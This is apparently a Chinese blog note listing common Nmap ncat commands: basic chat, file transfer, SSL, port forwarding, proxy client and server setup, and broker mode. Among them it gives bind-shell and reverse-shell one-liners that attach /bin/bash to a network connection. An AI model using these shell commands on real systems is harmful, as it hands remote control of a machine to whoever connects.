ncat是一个功能极多的网络工具,这里记录几个ncat的常用方法。注意这里用的ncat是nmap开发的版本而不是freebsd或者原始的nc

简陋通信

服务机

1
ncat -l $port

客户机

1
ncat $ip $port

在上面的基础上,可以进行文件的传输

server

1
ncat -l $port < $FILE

client

1
ncat $ip $port > $FILE

发送方也可以用-o选项直接进行发送

ncat也支持ssl通信加上—ssl即可连接需要ssl的服务器

端口转发

1
ncat -lk $localport -c "ncat $ip $port"

分享shell

1
ncat -lk $port -e /bin/bash

同理也可以反弹shell

1
ncat $ip $port -e /bin/bash

连接代理服务器

1
ncat --proxy-type http\socks5\socks4 --proxy $proxy_ip --proxy-auth $name:$passwd $host $ip

也可作为ssh的代理指令

创建代理服务器

1
ncat -l --proxy-type $proxy_type $ip $port --proxy-auth $name:$passwd

ncat的特殊代理模式

1
ncat -l --broker

作为通信的中枢,接受并广播。